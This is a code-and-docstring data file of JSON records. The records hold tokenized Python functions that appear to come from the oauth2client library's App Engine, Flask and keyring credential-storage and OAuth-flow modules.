{"signature": "@_helpers.positional(<NUM_LIT:2>)<EOL>def oauth2decorator_from_clientsecrets(filename, scope,<EOL>message=None, cache=None):", "body": "return OAuth2DecoratorFromClientSecrets(filename, scope,<EOL>message=message, cache=cache)<EOL>", "docstring": "Creates an OAuth2Decorator populated from a clientsecrets file.\n\n    Args:\n        filename: string, File name of client secrets.\n        scope: string or list of strings, scope(s) of the credentials being\n               requested.\n        message: string, A friendly string to display to the user if the\n                 clientsecrets file is missing or invalid. The message may\n                 contain HTML and will be presented on the web interface for\n                 any method that uses the decorator.\n        cache: An optional cache service client that implements get() and set()\n               methods. See clientsecrets.loadfile() for details.\n\n    Returns: An OAuth2Decorator", "id": "f2463:m5"}
{"signature": "@_helpers.positional(<NUM_LIT:2>)<EOL><INDENT>def __init__(self, scope, **kwargs):<DEDENT>", "body": "self.scope = _helpers.scopes_to_string(scope)<EOL>self._kwargs = kwargs<EOL>self.service_account_id = kwargs.get('<STR_LIT>', None)<EOL>self._service_account_email = None<EOL>super(AppAssertionCredentials, self).__init__(None)<EOL>", "docstring": "Constructor for AppAssertionCredentials\n\n        Args:\n            scope: string or iterable of strings, scope(s) of the credentials\n                   being requested.\n            **kwargs: optional keyword args, including:\n            service_account_id: service account id of the application. If None\n                                or unspecified, the default service account for\n                                the app is used.", "id": "f2463:c1:m0"}
{"signature": "def _refresh(self, http):", "body": "try:<EOL><INDENT>scopes = self.scope.split()<EOL>(token, _) = app_identity.get_access_token(<EOL>scopes, service_account_id=self.service_account_id)<EOL><DEDENT>except app_identity.Error as e:<EOL><INDENT>raise client.AccessTokenRefreshError(str(e))<EOL><DEDENT>self.access_token = token<EOL>", "docstring": "Refreshes the access token.\n\n        Since the underlying App Engine app_identity implementation does its\n        own caching we can skip all the storage hoops and just to a refresh\n        using the API.\n\n        Args:\n            http: unused HTTP object\n\n        Raises:\n            AccessTokenRefreshError: When the refresh fails.", "id": "f2463:c1:m2"}
{"signature": "def sign_blob(self, blob):", "body": "return app_identity.sign_blob(blob)<EOL>", "docstring": "Cryptographically sign a blob (of bytes).\n\n        Implements abstract method\n        :meth:`oauth2client.client.AssertionCredentials.sign_blob`.\n\n        Args:\n            blob: bytes, Message to be signed.\n\n        Returns:\n            tuple, A pair of the private key ID used to sign the blob and\n            the signed contents.", "id": "f2463:c1:m6"}
{"signature": "@property<EOL><INDENT>def service_account_email(self):<DEDENT>", "body": "if self._service_account_email is None:<EOL><INDENT>self._service_account_email = (<EOL>app_identity.get_service_account_name())<EOL><DEDENT>return self._service_account_email<EOL>", "docstring": "Get the email for the current service account.\n\n        Returns:\n            string, The email associated with the Google App Engine\n            service account.", "id": "f2463:c1:m7"}
{"signature": "@_helpers.positional(<NUM_LIT:4>)<EOL><INDENT>def __init__(self, model, key_name, property_name, cache=None, user=None):<DEDENT>", "body": "super(StorageByKeyName, self).__init__()<EOL>if key_name is None:<EOL><INDENT>if user is None:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>key_name = user.user_id()<EOL><DEDENT>self._model = model<EOL>self._key_name = key_name<EOL>self._property_name = property_name<EOL>self._cache = cache<EOL>", "docstring": "Constructor for Storage.\n\n        Args:\n            model: db.Model or ndb.Model, model class\n            key_name: string, key name for the entity that has the credentials\n            property_name: string, name of the property that is a\n                           CredentialsProperty or CredentialsNDBProperty.\n            cache: memcache, a write-through cache to put in front of the\n                   datastore. If the model you are using is an NDB model, using\n                   a cache will be redundant since the model uses an instance\n                   cache and memcache for you.\n            user: users.User object, optional. Can be used to grab user ID as a\n                  key_name if no key name is specified.", "id": "f2463:c4:m0"}
{"signature": "def _is_ndb(self):", "body": "<EOL>if isinstance(self._model, type):<EOL><INDENT>if _NDB_MODEL is not None and issubclass(self._model, _NDB_MODEL):<EOL><INDENT>return True<EOL><DEDENT>elif issubclass(self._model, db.Model):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>raise TypeError(<EOL>'<STR_LIT>'.format(self._model))<EOL>", "docstring": "Determine whether the model of the instance is an NDB model.\n\n        Returns:\n            Boolean indicating whether or not the model is an NDB or DB model.", "id": "f2463:c4:m1"}
{"signature": "def _get_entity(self):", "body": "if self._is_ndb():<EOL><INDENT>return self._model.get_by_id(self._key_name)<EOL><DEDENT>else:<EOL><INDENT>return self._model.get_by_key_name(self._key_name)<EOL><DEDENT>", "docstring": "Retrieve entity from datastore.\n\n        Uses a different model method for db or ndb models.\n\n        Returns:\n            Instance of the model corresponding to the current storage object\n            and stored using the key name of the storage object.", "id": "f2463:c4:m2"}
{"signature": "def _delete_entity(self):", "body": "if self._is_ndb():<EOL><INDENT>_NDB_KEY(self._model, self._key_name).delete()<EOL><DEDENT>else:<EOL><INDENT>entity_key = db.Key.from_path(self._model.kind(), self._key_name)<EOL>db.delete(entity_key)<EOL><DEDENT>", "docstring": "Delete entity from datastore.\n\n        Attempts to delete using the key_name stored on the object, whether or\n        not the given key is in the datastore.", "id": "f2463:c4:m3"}
{"signature": "@db.non_transactional(allow_existing=True)<EOL><INDENT>def locked_get(self):<DEDENT>", "body": "credentials = None<EOL>if self._cache:<EOL><INDENT>json = self._cache.get(self._key_name)<EOL>if json:<EOL><INDENT>credentials = client.Credentials.new_from_json(json)<EOL><DEDENT><DEDENT>if credentials is None:<EOL><INDENT>entity = self._get_entity()<EOL>if entity is not None:<EOL><INDENT>credentials = getattr(entity, self._property_name)<EOL>if self._cache:<EOL><INDENT>self._cache.set(self._key_name, credentials.to_json())<EOL><DEDENT><DEDENT><DEDENT>if credentials and hasattr(credentials, '<STR_LIT>'):<EOL><INDENT>credentials.set_store(self)<EOL><DEDENT>return credentials<EOL>", "docstring": "Retrieve Credential from datastore.\n\n        Returns:\n            oauth2client.Credentials", "id": "f2463:c4:m4"}
{"signature": "@db.non_transactional(allow_existing=True)<EOL><INDENT>def locked_put(self, credentials):<DEDENT>", "body": "entity = self._model.get_or_insert(self._key_name)<EOL>setattr(entity, self._property_name, credentials)<EOL>entity.put()<EOL>if self._cache:<EOL><INDENT>self._cache.set(self._key_name, credentials.to_json())<EOL><DEDENT>", "docstring": "Write a Credentials to the datastore.\n\n        Args:\n            credentials: Credentials, the credentials to store.", "id": "f2463:c4:m5"}
{"signature": "@db.non_transactional(allow_existing=True)<EOL><INDENT>def locked_delete(self):<DEDENT>", "body": "if self._cache:<EOL><INDENT>self._cache.delete(self._key_name)<EOL><DEDENT>self._delete_entity()<EOL>", "docstring": "Delete Credential from datastore.", "id": "f2463:c4:m6"}
{"signature": "def get_credentials(self):", "body": "return getattr(self._tls, '<STR_LIT>', None)<EOL>", "docstring": "A thread local Credentials object.\n\n        Returns:\n            A client.Credentials object, or None if credentials hasn't been set\n            in this thread yet, which may happen when calling has_credentials\n            inside oauth_aware.", "id": "f2463:c6:m1"}
{"signature": "def get_flow(self):", "body": "return getattr(self._tls, '<STR_LIT>', None)<EOL>", "docstring": "A thread local Flow object.\n\n        Returns:\n            A credentials.Flow object, or None if the flow hasn't been set in\n            this thread yet, which happens in _create_flow() since Flows are\n            created lazily.", "id": "f2463:c6:m3"}
{"signature": "@_helpers.positional(<NUM_LIT:4>)<EOL><INDENT>def __init__(self, client_id, client_secret, scope,<EOL>auth_uri=oauth2client.GOOGLE_AUTH_URI,<EOL>token_uri=oauth2client.GOOGLE_TOKEN_URI,<EOL>revoke_uri=oauth2client.GOOGLE_REVOKE_URI,<EOL>user_agent=None,<EOL>message=None,<EOL>callback_path='<STR_LIT>',<EOL>token_response_param=None,<EOL>_storage_class=StorageByKeyName,<EOL>_credentials_class=CredentialsModel,<EOL>_credentials_property_name='<STR_LIT>',<EOL>**kwargs):<DEDENT>", "body": "self._tls = threading.local()<EOL>self.flow = None<EOL>self.credentials = None<EOL>self._client_id = client_id<EOL>self._client_secret = client_secret<EOL>self._scope = _helpers.scopes_to_string(scope)<EOL>self._auth_uri = auth_uri<EOL>self._token_uri = token_uri<EOL>self._revoke_uri = revoke_uri<EOL>self._user_agent = user_agent<EOL>self._kwargs = kwargs<EOL>self._message = message<EOL>self._in_error = False<EOL>self._callback_path = callback_path<EOL>self._token_response_param = token_response_param<EOL>self._storage_class = _storage_class<EOL>self._credentials_class = _credentials_class<EOL>self._credentials_property_name = _credentials_property_name<EOL>", "docstring": "Constructor for OAuth2Decorator\n\n        Args:\n            client_id: string, client identifier.\n            client_secret: string client secret.\n            scope: string or iterable of strings, scope(s) of the credentials\n                   being requested.\n            auth_uri: string, URI for authorization endpoint. For convenience\n                      defaults to Google's endpoints but any OAuth 2.0 provider\n                      can be used.\n            token_uri: string, URI for token endpoint. For convenience defaults\n                       to Google's endpoints but any OAuth 2.0 provider can be\n                       used.\n            revoke_uri: string, URI for revoke endpoint. For convenience\n                        defaults to Google's endpoints but any OAuth 2.0\n                        provider can be used.\n            user_agent: string, User agent of your application, default to\n                        None.\n            message: Message to display if there are problems with the\n                     OAuth 2.0 configuration. The message may contain HTML and\n                     will be presented on the web interface for any method that\n                     uses the decorator.\n            callback_path: string, The absolute path to use as the callback\n                           URI. Note that this must match up with the URI given\n                           when registering the application in the APIs\n                           Console.\n            token_response_param: string. If provided, the full JSON response\n                                  to the access token request will be encoded\n                                  and included in this query parameter in the\n                                  callback URI. This is useful with providers\n                                  (e.g. wordpress.com) that include extra\n                                  fields that the client may want.\n            _storage_class: \"Protected\" keyword argument not typically provided\n                            to this constructor. A storage class to aid in\n                            storing a Credentials object for a user in the\n                            datastore. Defaults to StorageByKeyName.\n            _credentials_class: \"Protected\" keyword argument not typically\n                                provided to this constructor. A db or ndb Model\n                                class to hold credentials. Defaults to\n                                CredentialsModel.\n            _credentials_property_name: \"Protected\" keyword argument not\n                                        typically provided to this constructor.\n                                        A string indicating the name of the\n                                        field on the _credentials_class where a\n                                        Credentials object will be stored.\n                                        Defaults to 'credentials'.\n            **kwargs: dict, Keyword arguments are passed along as kwargs to\n                      the OAuth2WebServerFlow constructor.", "id": "f2463:c6:m4"}
{"signature": "def oauth_required(self, method):", "body": "def check_oauth(request_handler, *args, **kwargs):<EOL><INDENT>if self._in_error:<EOL><INDENT>self._display_error_message(request_handler)<EOL>return<EOL><DEDENT>user = users.get_current_user()<EOL>if not user:<EOL><INDENT>request_handler.redirect(users.create_login_url(<EOL>request_handler.request.uri))<EOL>return<EOL><DEDENT>self._create_flow(request_handler)<EOL>self.flow.params['<STR_LIT:state>'] = _build_state_value(<EOL>request_handler, user)<EOL>self.credentials = self._storage_class(<EOL>self._credentials_class, None,<EOL>self._credentials_property_name, user=user).get()<EOL>if not self.has_credentials():<EOL><INDENT>return request_handler.redirect(self.authorize_url())<EOL><DEDENT>try:<EOL><INDENT>resp = method(request_handler, *args, **kwargs)<EOL><DEDENT>except client.AccessTokenRefreshError:<EOL><INDENT>return request_handler.redirect(self.authorize_url())<EOL><DEDENT>finally:<EOL><INDENT>self.credentials = None<EOL><DEDENT>return resp<EOL><DEDENT>return check_oauth<EOL>", "docstring": "Decorator that starts the OAuth 2.0 dance.\n\n        Starts the OAuth dance for the logged in user if they haven't already\n        granted access for this application.\n\n        Args:\n            method: callable, to be decorated method of a webapp.RequestHandler\n                    instance.", "id": "f2463:c6:m6"}
{"signature": "def _create_flow(self, request_handler):", "body": "if self.flow is None:<EOL><INDENT>redirect_uri = request_handler.request.relative_url(<EOL>self._callback_path)  <EOL>self.flow = client.OAuth2WebServerFlow(<EOL>self._client_id, self._client_secret, self._scope,<EOL>redirect_uri=redirect_uri, user_agent=self._user_agent,<EOL>auth_uri=self._auth_uri, token_uri=self._token_uri,<EOL>revoke_uri=self._revoke_uri, **self._kwargs)<EOL><DEDENT>", "docstring": "Create the Flow object.\n\n        The Flow is calculated lazily since we don't know where this app is\n        running until it receives a request, at which point redirect_uri can be\n        calculated and then the Flow object can be constructed.\n\n        Args:\n            request_handler: webapp.RequestHandler, the request handler.", "id": "f2463:c6:m7"}
{"signature": "def oauth_aware(self, method):", "body": "def setup_oauth(request_handler, *args, **kwargs):<EOL><INDENT>if self._in_error:<EOL><INDENT>self._display_error_message(request_handler)<EOL>return<EOL><DEDENT>user = users.get_current_user()<EOL>if not user:<EOL><INDENT>request_handler.redirect(users.create_login_url(<EOL>request_handler.request.uri))<EOL>return<EOL><DEDENT>self._create_flow(request_handler)<EOL>self.flow.params['<STR_LIT:state>'] = _build_state_value(request_handler,<EOL>user)<EOL>self.credentials = self._storage_class(<EOL>self._credentials_class, None,<EOL>self._credentials_property_name, user=user).get()<EOL>try:<EOL><INDENT>resp = method(request_handler, *args, **kwargs)<EOL><DEDENT>finally:<EOL><INDENT>self.credentials = None<EOL><DEDENT>return resp<EOL><DEDENT>return setup_oauth<EOL>", "docstring": "Decorator that sets up for OAuth 2.0 dance, but doesn't do it.\n\n        Does all the setup for the OAuth dance, but doesn't initiate it.\n        This decorator is useful if you want to create a page that knows\n        whether or not the user has granted access to this application.\n        From within a method decorated with @oauth_aware the has_credentials()\n        and authorize_url() methods can be called.\n\n        Args:\n            method: callable, to be decorated method of a webapp.RequestHandler\n                    instance.", "id": "f2463:c6:m8"}
{"signature": "def has_credentials(self):", "body": "return self.credentials is not None and not self.credentials.invalid<EOL>", "docstring": "True if for the logged in user there are valid access Credentials.\n\n        Must only be called from with a webapp.RequestHandler subclassed method\n        that had been decorated with either @oauth_required or @oauth_aware.", "id": "f2463:c6:m9"}
{"signature": "def authorize_url(self):", "body": "url = self.flow.step1_get_authorize_url()<EOL>return str(url)<EOL>", "docstring": "Returns the URL to start the OAuth dance.\n\n        Must only be called from with a webapp.RequestHandler subclassed method\n        that had been decorated with either @oauth_required or @oauth_aware.", "id": "f2463:c6:m10"}
{"signature": "def http(self, *args, **kwargs):", "body": "return self.credentials.authorize(<EOL>transport.get_http_object(*args, **kwargs))<EOL>", "docstring": "Returns an authorized http instance.\n\n        Must only be called from within an @oauth_required decorated method, or\n        from within an @oauth_aware decorated method where has_credentials()\n        returns True.\n\n        Args:\n            *args: Positional arguments passed to httplib2.Http constructor.\n            **kwargs: Positional arguments passed to httplib2.Http constructor.", "id": "f2463:c6:m11"}
{"signature": "@property<EOL><INDENT>def callback_path(self):<DEDENT>", "body": "return self._callback_path<EOL>", "docstring": "The absolute path where the callback will occur.\n\n        Note this is the absolute path, not the absolute URI, that will be\n        calculated by the decorator at runtime. See callback_handler() for how\n        this should be used.\n\n        Returns:\n            The callback path as a string.", "id": "f2463:c6:m12"}
{"signature": "def callback_handler(self):", "body": "decorator = self<EOL>class OAuth2Handler(webapp.RequestHandler):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>@login_required<EOL>def get(self):<EOL><INDENT>error = self.request.get('<STR_LIT:error>')<EOL>if error:<EOL><INDENT>errormsg = self.request.get('<STR_LIT>', error)<EOL>self.response.out.write(<EOL>'<STR_LIT>'.format(<EOL>_safe_html(errormsg)))<EOL><DEDENT>else:<EOL><INDENT>user = users.get_current_user()<EOL>decorator._create_flow(self)<EOL>credentials = decorator.flow.step2_exchange(<EOL>self.request.params)<EOL>decorator._storage_class(<EOL>decorator._credentials_class, None,<EOL>decorator._credentials_property_name,<EOL>user=user).put(credentials)<EOL>redirect_uri = _parse_state_value(<EOL>str(self.request.get('<STR_LIT:state>')), user)<EOL>if redirect_uri is None:<EOL><INDENT>self.response.out.write(<EOL>'<STR_LIT>')<EOL>return<EOL><DEDENT>if (decorator._token_response_param and<EOL>credentials.token_response):<EOL><INDENT>resp_json = json.dumps(credentials.token_response)<EOL>redirect_uri = _helpers._add_query_parameter(<EOL>redirect_uri, decorator._token_response_param,<EOL>resp_json)<EOL><DEDENT>self.redirect(redirect_uri)<EOL><DEDENT><DEDENT><DEDENT>return OAuth2Handler<EOL>", "docstring": "RequestHandler for the OAuth 2.0 redirect callback.\n\n        Usage::\n\n            app = webapp.WSGIApplication([\n                ('/index', MyIndexHandler),\n                ...,\n                (decorator.callback_path, decorator.callback_handler())\n            ])\n\n        Returns:\n            A webapp.RequestHandler that handles the redirect back from the\n            server during the OAuth 2.0 dance.", "id": "f2463:c6:m13"}
{"signature": "def callback_application(self):", "body": "return webapp.WSGIApplication([<EOL>(self.callback_path, self.callback_handler())<EOL>])<EOL>", "docstring": "WSGI application for handling the OAuth 2.0 redirect callback.\n\n        If you need finer grained control use `callback_handler` which returns\n        just the webapp.RequestHandler.\n\n        Returns:\n            A webapp.WSGIApplication that handles the redirect back from the\n            server during the OAuth 2.0 dance.", "id": "f2463:c6:m14"}
{"signature": "@_helpers.positional(<NUM_LIT:3>)<EOL><INDENT>def __init__(self, filename, scope, message=None, cache=None, **kwargs):<DEDENT>", "body": "client_type, client_info = clientsecrets.loadfile(filename,<EOL>cache=cache)<EOL>if client_type not in (clientsecrets.TYPE_WEB,<EOL>clientsecrets.TYPE_INSTALLED):<EOL><INDENT>raise clientsecrets.InvalidClientSecretsError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>constructor_kwargs = dict(kwargs)<EOL>constructor_kwargs.update({<EOL>'<STR_LIT>': client_info['<STR_LIT>'],<EOL>'<STR_LIT>': client_info['<STR_LIT>'],<EOL>'<STR_LIT:message>': message,<EOL>})<EOL>revoke_uri = client_info.get('<STR_LIT>')<EOL>if revoke_uri is not None:<EOL><INDENT>constructor_kwargs['<STR_LIT>'] = revoke_uri<EOL><DEDENT>super(OAuth2DecoratorFromClientSecrets, self).__init__(<EOL>client_info['<STR_LIT>'], client_info['<STR_LIT>'],<EOL>scope, **constructor_kwargs)<EOL>if message is not None:<EOL><INDENT>self._message = message<EOL><DEDENT>else:<EOL><INDENT>self._message = '<STR_LIT>'<EOL><DEDENT>", "docstring": "Constructor\n\n        Args:\n            filename: string, File name of client secrets.\n            scope: string or iterable of strings, scope(s) of the credentials\n                   being requested.\n            message: string, A friendly string to display to the user if the\n                     clientsecrets file is missing or invalid. The message may\n                     contain HTML and will be presented on the web interface\n                     for any method that uses the decorator.\n            cache: An optional cache service client that implements get() and\n                   set()\n            methods. See clientsecrets.loadfile() for details.\n            **kwargs: dict, Keyword arguments are passed along as kwargs to\n                      the OAuth2WebServerFlow constructor.", "id": "f2463:c7:m0"}
{"signature": "def _get_flow_for_token(csrf_token):", "body": "flow_pickle = session.pop(<EOL>_FLOW_KEY.format(csrf_token), None)<EOL>if flow_pickle is None:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return pickle.loads(flow_pickle)<EOL><DEDENT>", "docstring": "Retrieves the flow instance associated with a given CSRF token from\n    the Flask session.", "id": "f2464:m0"}
{"signature": "def init_app(self, app, scopes=None, client_secrets_file=None,<EOL>client_id=None, client_secret=None, authorize_callback=None,<EOL>storage=None, **kwargs):", "body": "self.app = app<EOL>self.authorize_callback = authorize_callback<EOL>self.flow_kwargs = kwargs<EOL>if storage is None:<EOL><INDENT>storage = dictionary_storage.DictionaryStorage(<EOL>session, key=_CREDENTIALS_KEY)<EOL><DEDENT>self.storage = storage<EOL>if scopes is None:<EOL><INDENT>scopes = app.config.get('<STR_LIT>', _DEFAULT_SCOPES)<EOL><DEDENT>self.scopes = scopes<EOL>self._load_config(client_secrets_file, client_id, client_secret)<EOL>app.register_blueprint(self._create_blueprint())<EOL>", "docstring": "Initialize this extension for the given app.\n\n        Arguments:\n            app: A Flask application.\n            scopes: Optional list of scopes to authorize.\n            client_secrets_file: Path to a file containing client secrets. You\n                can also specify the GOOGLE_OAUTH2_CLIENT_SECRETS_FILE config\n                value.\n            client_id: If not specifying a client secrets file, specify the\n                OAuth2 client id. You can also specify the\n                GOOGLE_OAUTH2_CLIENT_ID config value. You must also provide a\n                client secret.\n            client_secret: The OAuth2 client secret. You can also specify the\n                GOOGLE_OAUTH2_CLIENT_SECRET config value.\n            authorize_callback: A function that is executed after successful\n                user authorization.\n            storage: A oauth2client.client.Storage subclass for storing the\n                credentials. By default, this is a Flask session based storage.\n            kwargs: Any additional args are passed along to the Flow\n                constructor.", "id": "f2464:c0:m1"}
{"signature": "def _load_config(self, client_secrets_file, client_id, client_secret):", "body": "if client_id and client_secret:<EOL><INDENT>self.client_id, self.client_secret = client_id, client_secret<EOL>return<EOL><DEDENT>if client_secrets_file:<EOL><INDENT>self._load_client_secrets(client_secrets_file)<EOL>return<EOL><DEDENT>if '<STR_LIT>' in self.app.config:<EOL><INDENT>self._load_client_secrets(<EOL>self.app.config['<STR_LIT>'])<EOL>return<EOL><DEDENT>try:<EOL><INDENT>self.client_id, self.client_secret = (<EOL>self.app.config['<STR_LIT>'],<EOL>self.app.config['<STR_LIT>'])<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Loads oauth2 configuration in order of priority.\n\n        Priority:\n            1. Config passed to the constructor or init_app.\n            2. Config passed via the GOOGLE_OAUTH2_CLIENT_SECRETS_FILE app\n               config.\n            3. Config passed via the GOOGLE_OAUTH2_CLIENT_ID and\n               GOOGLE_OAUTH2_CLIENT_SECRET app config.\n\n        Raises:\n            ValueError if no config could be found.", "id": "f2464:c0:m2"}
{"signature": "def _load_client_secrets(self, filename):", "body": "client_type, client_info = clientsecrets.loadfile(filename)<EOL>if client_type != clientsecrets.TYPE_WEB:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(<EOL>client_type))<EOL><DEDENT>self.client_id = client_info['<STR_LIT>']<EOL>self.client_secret = client_info['<STR_LIT>']<EOL>", "docstring": "Loads client secrets from the given filename.", "id": "f2464:c0:m3"}
{"signature": "def _make_flow(self, return_url=None, **kwargs):", "body": "<EOL>csrf_token = hashlib.sha256(os.urandom(<NUM_LIT>)).hexdigest()<EOL>session[_CSRF_KEY] = csrf_token<EOL>state = json.dumps({<EOL>'<STR_LIT>': csrf_token,<EOL>'<STR_LIT>': return_url<EOL>})<EOL>kw = self.flow_kwargs.copy()<EOL>kw.update(kwargs)<EOL>extra_scopes = kw.pop('<STR_LIT>', [])<EOL>scopes = set(self.scopes).union(set(extra_scopes))<EOL>flow = client.OAuth2WebServerFlow(<EOL>client_id=self.client_id,<EOL>client_secret=self.client_secret,<EOL>scope=scopes,<EOL>state=state,<EOL>redirect_uri=url_for('<STR_LIT>', _external=True),<EOL>**kw)<EOL>flow_key = _FLOW_KEY.format(csrf_token)<EOL>session[flow_key] = pickle.dumps(flow)<EOL>return flow<EOL>", "docstring": "Creates a Web Server Flow", "id": "f2464:c0:m4"}
{"signature": "def authorize_view(self):", "body": "args = request.args.to_dict()<EOL>args['<STR_LIT>'] = request.args.getlist('<STR_LIT>')<EOL>return_url = args.pop('<STR_LIT>', None)<EOL>if return_url is None:<EOL><INDENT>return_url = request.referrer or '<STR_LIT:/>'<EOL><DEDENT>flow = self._make_flow(return_url=return_url, **args)<EOL>auth_url = flow.step1_get_authorize_url()<EOL>return redirect(auth_url)<EOL>", "docstring": "Flask view that starts the authorization flow.\n\n        Starts flow by redirecting the user to the OAuth2 provider.", "id": "f2464:c0:m6"}
{"signature": "def callback_view(self):", "body": "if '<STR_LIT:error>' in request.args:<EOL><INDENT>reason = request.args.get(<EOL>'<STR_LIT>', request.args.get('<STR_LIT:error>', '<STR_LIT>'))<EOL>reason = markupsafe.escape(reason)<EOL>return ('<STR_LIT>'.format(reason),<EOL>httplib.BAD_REQUEST)<EOL><DEDENT>try:<EOL><INDENT>encoded_state = request.args['<STR_LIT:state>']<EOL>server_csrf = session[_CSRF_KEY]<EOL>code = request.args['<STR_LIT:code>']<EOL><DEDENT>except KeyError:<EOL><INDENT>return '<STR_LIT>', httplib.BAD_REQUEST<EOL><DEDENT>try:<EOL><INDENT>state = json.loads(encoded_state)<EOL>client_csrf = state['<STR_LIT>']<EOL>return_url = state['<STR_LIT>']<EOL><DEDENT>except (ValueError, KeyError):<EOL><INDENT>return '<STR_LIT>', httplib.BAD_REQUEST<EOL><DEDENT>if client_csrf != server_csrf:<EOL><INDENT>return '<STR_LIT>', httplib.BAD_REQUEST<EOL><DEDENT>flow = _get_flow_for_token(server_csrf)<EOL>if flow is None:<EOL><INDENT>return '<STR_LIT>', httplib.BAD_REQUEST<EOL><DEDENT>try:<EOL><INDENT>credentials = flow.step2_exchange(code)<EOL><DEDENT>except client.FlowExchangeError as exchange_error:<EOL><INDENT>current_app.logger.exception(exchange_error)<EOL>content = '<STR_LIT>'.format(exchange_error)<EOL>return content, httplib.BAD_REQUEST<EOL><DEDENT>self.storage.put(credentials)<EOL>if self.authorize_callback:<EOL><INDENT>self.authorize_callback(credentials)<EOL><DEDENT>return redirect(return_url)<EOL>", "docstring": "Flask view that handles the user's return from OAuth2 provider.\n\n        On return, exchanges the authorization code for credentials and stores\n        the credentials.", "id": "f2464:c0:m7"}
{"signature": "@property<EOL><INDENT>def credentials(self):<DEDENT>", "body": "ctx = _app_ctx_stack.top<EOL>if not hasattr(ctx, _CREDENTIALS_KEY):<EOL><INDENT>ctx.google_oauth2_credentials = self.storage.get()<EOL><DEDENT>return ctx.google_oauth2_credentials<EOL>", "docstring": "The credentials for the current user or None if unavailable.", "id": "f2464:c0:m8"}
{"signature": "def has_credentials(self):", "body": "if not self.credentials:<EOL><INDENT>return False<EOL><DEDENT>elif (self.credentials.access_token_expired and<EOL>not self.credentials.refresh_token):<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Returns True if there are valid credentials for the current user.", "id": "f2464:c0:m9"}
{"signature": "@property<EOL><INDENT>def email(self):<DEDENT>", "body": "if not self.credentials:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>return self.credentials.id_token['<STR_LIT:email>']<EOL><DEDENT>except KeyError:<EOL><INDENT>current_app.logger.error(<EOL>'<STR_LIT>'.format(self.credentials.id_token))<EOL><DEDENT>", "docstring": "Returns the user's email address or None if there are no credentials.\n\n        The email address is provided by the current credentials' id_token.\n        This should not be used as unique identifier as the user can change\n        their email. If you need a unique identifier, use user_id.", "id": "f2464:c0:m10"}
{"signature": "@property<EOL><INDENT>def user_id(self):<DEDENT>", "body": "if not self.credentials:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>return self.credentials.id_token['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>current_app.logger.error(<EOL>'<STR_LIT>'.format(self.credentials.id_token))<EOL><DEDENT>", "docstring": "Returns the a unique identifier for the user\n\n        Returns None if there are no credentials.\n\n        The id is provided by the current credentials' id_token.", "id": "f2464:c0:m11"}
{"signature": "def authorize_url(self, return_url, **kwargs):", "body": "return url_for('<STR_LIT>', return_url=return_url, **kwargs)<EOL>", "docstring": "Creates a URL that can be used to start the authorization flow.\n\n        When the user is directed to the URL, the authorization flow will\n        begin. Once complete, the user will be redirected to the specified\n        return URL.\n\n        Any kwargs are passed into the flow constructor.", "id": "f2464:c0:m12"}
{"signature": "def required(self, decorated_function=None, scopes=None,<EOL>**decorator_kwargs):", "body": "def curry_wrapper(wrapped_function):<EOL><INDENT>@wraps(wrapped_function)<EOL>def required_wrapper(*args, **kwargs):<EOL><INDENT>return_url = decorator_kwargs.pop('<STR_LIT>', request.url)<EOL>requested_scopes = set(self.scopes)<EOL>if scopes is not None:<EOL><INDENT>requested_scopes |= set(scopes)<EOL><DEDENT>if self.has_credentials():<EOL><INDENT>requested_scopes |= self.credentials.scopes<EOL><DEDENT>requested_scopes = list(requested_scopes)<EOL>if (self.has_credentials() and<EOL>self.credentials.has_scopes(requested_scopes)):<EOL><INDENT>return wrapped_function(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>auth_url = self.authorize_url(<EOL>return_url,<EOL>scopes=requested_scopes,<EOL>**decorator_kwargs)<EOL>return redirect(auth_url)<EOL><DEDENT><DEDENT>return required_wrapper<EOL><DEDENT>if decorated_function:<EOL><INDENT>return curry_wrapper(decorated_function)<EOL><DEDENT>else:<EOL><INDENT>return curry_wrapper<EOL><DEDENT>", "docstring": "Decorator to require OAuth2 credentials for a view.\n\n        If credentials are not available for the current user, then they will\n        be redirected to the authorization flow. Once complete, the user will\n        be redirected back to the original page.", "id": "f2464:c0:m13"}
{"signature": "def http(self, *args, **kwargs):", "body": "if not self.credentials:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return self.credentials.authorize(<EOL>transport.get_http_object(*args, **kwargs))<EOL>", "docstring": "Returns an authorized http instance.\n\n        Can only be called if there are valid credentials for the user, such\n        as inside of a view that is decorated with @required.\n\n        Args:\n            *args: Positional arguments passed to httplib2.Http constructor.\n            **kwargs: Positional arguments passed to httplib2.Http constructor.\n\n        Raises:\n            ValueError if no credentials are available.", "id": "f2464:c0:m14"}
{"signature": "def __init__(self, service_name, user_name):", "body": "super(Storage, self).__init__(lock=threading.Lock())<EOL>self._service_name = service_name<EOL>self._user_name = user_name<EOL>", "docstring": "Constructor.\n\n        Args:\n            service_name: string, The name of the service under which the\n                          credentials are stored.\n            user_name: string, The name of the user to store credentials for.", "id": "f2465:c0:m0"}
{"signature": "def locked_get(self):", "body": "credentials = None<EOL>content = keyring.get_password(self._service_name, self._user_name)<EOL>if content is not None:<EOL><INDENT>try:<EOL><INDENT>credentials = client.Credentials.new_from_json(content)<EOL>credentials.set_store(self)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return credentials<EOL>", "docstring": "Retrieve Credential from file.\n\n        Returns:\n            oauth2client.client.Credentials", "id": "f2465:c0:m1"}
{"signature": "def locked_put(self, credentials):", "body": "keyring.set_password(self._service_name, self._user_name,<EOL>credentials.to_json())<EOL>", "docstring": "Write Credentials to file.\n\n        Args:\n            credentials: Credentials, the credentials to store.", "id": "f2465:c0:m2"}
